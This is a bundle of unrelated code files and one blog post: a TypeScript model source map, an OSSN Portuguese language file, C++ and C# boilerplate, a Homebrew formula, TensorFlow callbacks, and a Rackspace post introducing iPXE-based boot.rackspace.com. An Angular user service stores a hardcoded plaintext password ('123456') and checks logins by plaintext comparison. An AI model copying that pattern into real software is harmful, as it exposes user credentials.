sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInBlb3BsZS9tb2RlbHMvcGVvcGxlLm1vZGVsLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7QUFDQTtJQTBCSSxnQkFBWSxHQUFRO1FBRW5CLElBQUksQ0FBQyxRQUFRLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxRQUFRLElBQUksSUFBSSxDQUFDO1FBQzFDLElBQUksQ0FBQyxRQUFRLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxRQUFRLElBQUksSUFBSSxDQUFDO1FBQzFDLElBQUksQ0FBQyxLQUFLLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxLQUFLLElBQUksSUFBSSxDQUFDO1FBQ3BDLElBQUksQ0FBQyxTQUFTLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxTQUFTLElBQUksSUFBSSxDQUFDO1FBQzVDLElBQUksQ0FBQyxRQUFRLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxRQUFRLElBQUksSUFBSSxDQUFDO1FBRTFDLElBQUksQ0FBQyxHQUFHLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxHQUFHLElBQUksSUFBSSxDQUFDO1FBQ2hDLElBQUksQ0FBQyxNQUFNLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxNQUFNLElBQUksSUFBSSxDQUFDO1FBQ3RDLElBQUksQ0FBQyxLQUFLLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxLQUFLLElBQUksSUFBSSxDQUFDO1FBQ3BDLElBQUksQ0FBQyxNQUFNLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxNQUFNLElBQUksSUFBSSxDQUFDO1FBRXRDLElBQUksQ0FBQyxVQUFVLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxVQUFVLElBQUksSUFBSSxDQUFDO1FBQzlDLElBQUksQ0FBQyxPQUFPLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxPQUFPLElBQUksSUFBSSxDQUFDO1FBQ3hDLElBQUksQ0FBQyxjQUFjLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxjQUFjLElBQUksSUFBSSxDQUFDO1FBQ3RELElBQUksQ0FBQyxJQUFJLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxJQUFJLElBQUksSUFBSSxDQUFDO1FBRS9CLElBQUksQ0FBQyxRQUFRLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxRQUFRLElBQUksSUFBSSxDQUFDO1FBQzFDLElBQUksQ0FBQyxhQUFhLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxhQUFhLElBQUksSUFBSSxDQUFDO1FBQ3BELElBQUksQ0FBQyxPQUFPLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxPQUFPLElBQUksSUFBSSxDQUFDO1FBQ3hDLElBQUksQ0FBQyxTQUFTLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxTQUFTLElBQUksSUFBSSxDQUFDO1FBQzVDLElBQUksQ0FBQyxRQUFRLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxRQUFRLElBQUksSUFBSSxDQUFDO1FBQzFDLElBQUksQ0FBQyxLQUFLLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxLQUFLLElBQUksSUFBSSxDQUFDO1FBRXZDLElBQUksQ0FBQyxTQUFTLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxTQUFTLElBQUksSUFBSSxDQUFDO1FBQzVDLElBQUksQ0FBQyxZQUFZLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxZQUFZLElBQUksSUFBSSxDQUFDO1FBQ2xELElBQUksQ0FBQyxhQUFhLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxhQUFhLElBQUksSUFBSSxDQUFDO1FBQ3BELElBQUksQ0FBQyxjQUFjLEdBQUcsR0FBRyxJQUFFLEdBQUcsQ0FBQyxjQUFjLElBQUksSUFBSSxDQUFDO0lBRXZELENBQUM7SUFFTCxhQUFDO0FBQUQsQ0ExREEsQUEwREMsSUFBQTtBQTFEWSxjQUFNLFNBMERsQixDQUFBIiwiZmlsZSI6InBlb3BsZS9tb2RlbHMvcGVvcGxlLm1vZGVsLmpzIiwic291cmNlc0NvbnRlbnQiOlsiXG5leHBvcnQgY2xhc3MgUGVvcGxle1xuXG4gICAgcGVyc29uSWQ6IG51bWJlcjtcbiAgICBpc2VuYWJsZTogbnVtYmVyO1xuICAgIHRpdGxlOiBzdHJpbmc7XG4gICAgZmlyc3ROYW1lOiBzdHJpbmc7XG4gICAgbGFzdE5hbWU6IHN0cmluZztcbiAgICBkb2I6IERhdGU7XG4gICAgZ2VuZGVyOiBzdHJpbmc7XG4gICAgcGhvbmU6IHN0cmluZztcbiAgICBtb2JpbGU6IHN0cmluZztcbiAgICBvY2N1cGF0aW9uOiBzdHJpbmc7XG4gICAgYWRkcmVzczogc3RyaW5nO1xuICAgIHN1YnVyYkRpc3RyaWN0OiBzdHJpbmc7XG4gICAgd2FyZDogc3RyaW5nO1xuICAgIHBvc3Rjb2RlOiBzdHJpbmc7XG4gICAgc3RhdGVQcm92aW5jZTogc3RyaW5nO1xuICAgIGNvdW50cnk6IHN0cmluZztcbiAgICBpc3BhdGllbnQ6IG51bWJlcjtcbiAgICBpc2RvY3RvcjogbnVtYmVyO1xuICAgIGltYWdlOiBzdHJpbmc7XG4gICAgY3JlYXRlZEJ5OiBudW1iZXI7XG4gICAgY3JlYXRpb25EYXRlOiBEYXRlO1xuICAgIGxhc3RVcGRhdGVkQnk6IG51bWJlcjtcbiAgICBsYXN0VXBkYXRlRGF0ZTogRGF0ZTtcblxuICAgIGNvbnN0cnVjdG9yKG9iajogYW55KXtcbiAgICBcdFxuICAgIFx0dGhpcy5wZXJzb25JZCA9IG9iaiYmb2JqLnBlcnNvbklkIHx8IG51bGw7XG4gICAgXHR0aGlzLmlzZW5hYmxlID0gb2JqJiZvYmouaXNlbmFibGUgfHwgbnVsbDtcbiAgICBcdHRoaXMudGl0bGUgPSBvYmomJm9iai50aXRsZSB8fCBudWxsO1xuICAgIFx0dGhpcy5maXJzdE5hbWUgPSBvYmomJm9iai5maXJzdE5hbWUgfHwgbnVsbDtcbiAgICBcdHRoaXMubGFzdE5hbWUgPSBvYmomJm9iai5sYXN0TmFtZSB8fCBudWxsO1xuXG4gICAgXHR0aGlzLmRvYiA9IG9iaiYmb2JqLmRvYiB8fCBudWxsO1xuICAgIFx0dGhpcy5nZW5kZXIgPSBvYmomJm9iai5nZW5kZXIgfHwgbnVsbDtcbiAgICBcdHRoaXMucGhvbmUgPSBvYmomJm9iai5waG9uZSB8fCBudWxsO1xuICAgIFx0dGhpcy5tb2JpbGUgPSBvYmomJm9iai5tb2JpbGUgfHwgbnVsbDtcblxuICAgIFx0dGhpcy5vY2N1cGF0aW9uID0gb2JqJiZvYmoub2NjdXBhdGlvbiB8fCBudWxsO1xuICAgIFx0dGhpcy5hZGRyZXNzID0gb2JqJiZvYmouYWRkcmVzcyB8fCBudWxsO1xuICAgIFx0dGhpcy5zdWJ1cmJEaXN0cmljdCA9IG9iaiYmb2JqLnN1YnVyYkRpc3RyaWN0IHx8IG51bGw7XG4gICAgXHR0aGlzLndhcmQgPSBvYmomJm9iai53YXJkIHx8IG51bGw7XG5cbiAgICAgICAgdGhpcy5wb3N0Y29kZSA9IG9iaiYmb2JqLnBvc3Rjb2RlIHx8IG51bGw7XG4gICAgICAgIHRoaXMuc3RhdGVQcm92aW5jZSA9IG9iaiYmb2JqLnN0YXRlUHJvdmluY2UgfHwgbnVsbDtcbiAgICAgICAgdGhpcy5jb3VudHJ5ID0gb2JqJiZvYmouY291bnRyeSB8fCBudWxsO1xuICAgICAgICB0aGlzLmlzcGF0aWVudCA9IG9iaiYmb2JqLmlzcGF0aWVudCB8fCBudWxsO1xuICAgICAgICB0aGlzLmlzZG9jdG9yID0gb2JqJiZvYmouaXNkb2N0b3IgfHwgbnVsbDtcbiAgICAgICAgdGhpcy5pbWFnZSA9IG9iaiYmb2JqLmltYWdlIHx8IG51bGw7XG5cbiAgICBcdHRoaXMuY3JlYXRlZEJ5ID0gb2JqJiZvYmouY3JlYXRlZEJ5IHx8IG51bGw7XG4gICAgXHR0aGlzLmNyZWF0aW9uRGF0ZSA9IG9iaiYmb2JqLmNyZWF0aW9uRGF0ZSB8fCBudWxsO1xuICAgIFx0dGhpcy5sYXN0VXBkYXRlZEJ5ID0gb2JqJiZvYmoubGFzdFVwZGF0ZWRCeSB8fCBudWxsO1xuICAgIFx0dGhpcy5sYXN0VXBkYXRlRGF0ZSA9IG9iaiYmb2JqLmxhc3RVcGRhdGVEYXRlIHx8IG51bGw7XG4gICAgXG4gICAgfVxuXG59Il19
<?php /** * Open Source Social Network * * @package Open Source Social Network * @author Open Social Website Core Team <info@softlab24.com> * @copyright 2014 iNFORMATIKON TECHNOLOGIES * @license Open Source Social Network License (OSSN LICENSE) http://www.opensource-socialnetwork.org/licence * @link http://www.opensource-socialnetwork.org/licence */ $pt = array( 'com:ossn:invite' => 'Convidar', 'com:ossn:invite:friends' => 'Convidar Amigos', 'com:ossn:invite:friends:note' => 'Para convidar amigos para entrar na rede, insira os endereços de e-mail e uma breve mensagem. Eles receberão um e-mail contendo o seu convite.', 'com:ossn:invite:emails:note' => 'Endereços de e-mail (separados por vírgula)', 'com:ossn:invite:emails:placeholder' => 'luan@exemplo.com, vinicius@exemplo.com', 'com:ossn:invite:message' => 'Mensagem', 'com:ossn:invite:mail:subject' => 'Convite para participar %s', 'com:ossn:invite:mail:message' => 'Você enviou um convite para participar %s por %s com sucesso. Eles incluíram a seguinte mensagem: %s Para entrar, clique no seguinte link: %s Link do perfil: %s ', 'com:ossn:invite:mail:message:default' => 'Olá, Eu quero te convidar para entrar para minha rede social %s. Link do perfil : %s Abraço. %s', 'com:ossn:invite:sent' => 'Seus amigos foram convidados. Convites enviados: %s.', 'com:ossn:invite:wrong:emails' => 'O seguinte endereço não é válido: %s.', 'com:ossn:invite:sent:failed' => 'Não foi possível enviar para os seguintes endereços: %s.', 'com:ossn:invite:already:members' => 'O seguinte endereço já está cadastrado no site: %s', 'com:ossn:invite:empty:emails' => 'Por favor, adicione pelo menos um endereço de e-mail', ); ossn_register_languages('pt', $pt);
// Copyright (c) 2021 Leandro T. C. Melo <ltcmelo@gmail.com> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. #include "SyntaxReference.h" using namespace psy; using namespace C; const SyntaxTree* SyntaxReference::syntaxTree() const { return nullptr; } const SyntaxNode* SyntaxReference::syntax() const { return nullptr; }
// -*- C++ -*- //========================================================== /** * Created_datetime : 10/15/2013 14:23 * File : ScopedLock.hpp * Author : GNUnix <Kingbug2010@gmail.com> * Description : * * <Change_list> */ //========================================================== #ifndef _ScopedLock_hpp_ #define _ScopedLock_hpp_ class ScopedLock { public: ScopedLock( CRITICAL_SECTION &lock ) :csLock(lock) { ::EnterCriticalSection(&csLock); } ~ScopedLock(void) { ::LeaveCriticalSection(&csLock); } private: CRITICAL_SECTION &csLock; }; #endif
import {ITofUser} from './models/tof-request'; import {Bundle, Practitioner} from '../../../../libs/tof-lib/src/lib/stu3/fhir'; import {Globals} from '../../../../libs/tof-lib/src/lib/globals'; export function createTestUser(userId = 'test.user', name = 'test user', email = 'test@test.com'): ITofUser { return { clientID: 'test', email: email, name: name, sub: `auth0|${userId}` }; } export function createUserGroupResponse(): Bundle { return new Bundle({ total: 0, entry: [] }); } export function createUserPractitionerResponse(firstName = 'test', lastName = 'user', id = 'test-user-id', authId = 'test.user'): Bundle { return { "resourceType": "Bundle", "type": "searchset", "total": 1, "entry": [ { "fullUrl": "http://test.com/fhir/Practitioner/test-user-id", "resource": <Practitioner> { "resourceType": "Practitioner", "id": id, "identifier": [ { "system": Globals.authNamespace, "value": authId } ], "name": [ { "family": lastName, "given": [firstName] } ] } } ] }; }
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // As informações gerais sobre um assembly são controladas por // conjunto de atributos. Altere estes valores de atributo para modificar as informações // associada a um assembly. [assembly: AssemblyTitle("Phobos.BLL")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Phobos.BLL")] [assembly: AssemblyCopyright("Copyright © 2021")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Definir ComVisible como false torna os tipos neste assembly invisíveis // para componentes COM. Caso precise acessar um tipo neste assembly de // COM, defina o atributo ComVisible como true nesse tipo. [assembly: ComVisible(false)] // O GUID a seguir será destinado à ID de typelib se este projeto for exposto para COM [assembly: Guid("5c5a47f9-79cd-47d7-861c-813a0f0186c7")] // As informações da versão de um assembly consistem nos quatro valores a seguir: // // Versão Principal // Versão Secundária // Número da Versão // Revisão // // É possível especificar todos os valores ou usar como padrão os Números de Build e da Revisão // usando o "*" como mostrado abaixo: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
class Codec2 < Formula desc "Open source speech codec" homepage "https://www.rowetel.com/?page_id=452" # Linked from https://freedv.org/ url "https://hobbes1069.fedorapeople.org/freetel/codec2/codec2-0.8.1.tar.xz" sha256 "a07cdaacf59c3f7dbb1c63b769d443af486c434b3bd031fb4edd568ce3e613d6" bottle do cellar :any sha256 "3316417a3e0244dcdc81466af56be6d323169f38c3146075e9314da92c60c938" => :catalina sha256 "92031b75a027390385864b1c2a4bde522da712162b7c6f8187a1b2adf74f8504" => :mojave sha256 "37a6ae2407ae97ae632078020e89163e9b58d3613207bcf534401f6660128108" => :high_sierra sha256 "d90f5373ac39385b8fffee0605afe2e27c195f44ef211f98d7b5d89c7200508d" => :sierra sha256 "896b96db4b2d4349ca56dc0e4daaf2bebfc28908197c013aefe89d86fe57317c" => :el_capitan sha256 "d47daf8a3b22cacc6bbba12e456e0ab2bfad63ef28efc345de5c20afd7020906" => :x86_64_linux end depends_on "cmake" => :build def install mkdir "build_osx" do system "cmake", "..", *std_cmake_args system "make", "install" end end test do # 8 bytes of raw audio data (silence). (testpath/"test.raw").write([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*")) system "#{bin}/c2enc", "2400", "test.raw", "test.c2" end end
import { Injectable } from '@angular/core'; import { Observable } from 'rxjs/Observable'; import 'rxjs/add/observable/of'; import { User } from './models/user'; @Injectable() export class AppUserService { private users: User[] = [{ id: 1, firstName: 'user', lastName: 'user', email: 'user@easylocatus.com', phone: '0021612345614', password: '123456' }] constructor() { // this.userArray = Object.values(this.users); } add(user: User) { this.users.push(user); } all(): User[] { return this.users; } existe(user): boolean { const result = this.users.filter(u => { return user.email === u.email && user.password === u.password; }); if(result.length > 0) { return true; } return false; } }
/* * uicbm2model.h - CBM2 model selection UI for MS-DOS. * * Written by * Marco van den Heuvel <blackystardust68@yahoo.com> * * This file is part of VICE, the Versatile Commodore Emulator. * See README for copyright notice. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA * 02111-1307 USA. * */ #ifndef UICBM2MODEL_H #define UICBM2MODEL_H struct tui_menu; extern void uicbm2model_init(struct tui_menu *parent_submenu); #endif
import tensorflow as tf from tensorflow.keras.callbacks import ModelCheckpoint import os class TensorBoardFix(tf.keras.callbacks.TensorBoard): """ This fixes incorrect step values when using the TensorBoard callback with custom summary ops https://stackoverflow.com/questions/64642944/steps-of-tf-summary-operations-in-tensorboard-are-always-0 """ def on_train_begin(self, *args, **kwargs): super(TensorBoardFix, self).on_train_begin(*args, **kwargs) tf.summary.experimental.set_step(self._train_step) def on_test_begin(self, *args, **kwargs): super(TensorBoardFix, self).on_test_begin(*args, **kwargs) tf.summary.experimental.set_step(self._val_step) def get_callbacks(model_name='model',root_dir='logs/fit/', monitor='val_categorical_accuracy',mode='max', save_freq='epoch',save_best_only=True, ): log_dir = os.path.join(root_dir,model_name) tensorboard = TensorBoardFix(log_dir=log_dir, histogram_freq=1, update_freq=50, ) save_model = ModelCheckpoint(filepath=os.path.join(log_dir,'model.h5'), save_weights_only=False, monitor=monitor, mode=mode, save_best_only=save_best_only, save_freq=save_freq) return [tensorboard,save_model]
--- layout: post title: "Introducing boot.rackspace.com" date: 2014-01-23 16:00 comments: true author: Antony Messerli published: true categories: - Cloud Servers - Cloud Tools - Images - iPXE - OpenStack - Performance --- We have had a number of customers request the need to be able to create their own Cloud Servers images rather than taking snapshots from our base installs. To fulfill this need, we are announcing a new tool as a preview today called [boot.rackspace.com](http://boot.rackspace.com). The tool enables you to utilize the various Linux distributions installers to install directly to the disk of your Cloud Server. <!-- more --> # How It Works When you create a Rackspace Cloud Server from the boot.rackspace.com image, it will boot the Cloud Server with a small 1 MB [iPXE](http://www.ipxe.org) based ISO. This in turn will set up the server's assigned networking within the virtual BIOS and netboot into a menu of operating system options hosted over HTTP on [boot.rackspace.com](http://boot.rackspace.com). You will need to connect to the console of the Cloud Server in order to view the menu after booting the server. By default, the menu will boot from local disk after five minutes, so if you connect to the console too late, just issue a reboot of the server and then reconnect to the console. Each option will either kick off the install kernels from the various operating systems or automatically load up the ISO to the Cloud Server. From there you can customize your Cloud Server to your hearts content and install directly to the OS disk. Once completed, you can install the Rackspace Cloud Agent, take a snapshot, and then redeploy the image as your golden master. We have also initially included a few useful tools like [Clonezilla](http://clonezilla.org/) for moving data around. {% img center 2014-01-23-introducing-boot-dot-rackspace-dot-com/brc-linux-menu.png %} # Contributing We've put all the source for the iPXE scripts on [Github](https://github.com/rackerlabs/boot.rackspace.com/) and welcome contributions. We've also written up some [how-to's](https://github.com/rackerlabs/boot.rackspace.com/wiki) on Rackspace Cloud Servers image creation which will enable you to create images just like our base images. As contributions are accepted, they will be deployed to the site automatically. Because of the flexibility iPXE provides, you can also create your own custom menus, host them on your own site, and chain load them from the iPXE command line. The tool currently ****only works on the newer Performance Flavors**** *(not Standard)* so please keep that in mind when using the tool. # Using Outside of Rackspace Cloud The [README](https://github.com/rackerlabs/boot.rackspace.com/blob/master/README.md) also contains instructions for using the tool outside of Rackspace Cloud Servers. Using the iPXE ISO is great for working on your own servers (DRAC, iLO, etc) in the Datacenter because it's very lightweight and provides a lot of options at your fingertips as you can stream all of the needed packages over the network instead of using a large DVD/ISO. # iPXE Community The [iPXE](http://ipxe.org) community is great and very helpful. If you'd like to learn more about how network booting works, make sure to check out [networkboot.org](http://networkboot.org/). # How to Get Started So in summary, to get started, you can boot a server using the API with the image id: ****9aa0d346-c06f-4652-bbb1-4342a7d2d017**** and then connect to the console of the server. Current and future image id's will be tracked [here](https://github.com/rackerlabs/boot.rackspace.com/wiki/boot.rackspace.com-Image-UUIDs). If you have any questions or feedback, please don't hesitate to open up a github issue or contact us at <bootrax@rackspace.com>. # About the Author Antony Messerli is a Principal Engineer at Rackspace working on the Cloud Servers Engineering team. You can follow him on twitter [@ajmesserli](http://twitter.com/ajmesserli) and on Github as [amesserl](https://github.com/amesserl).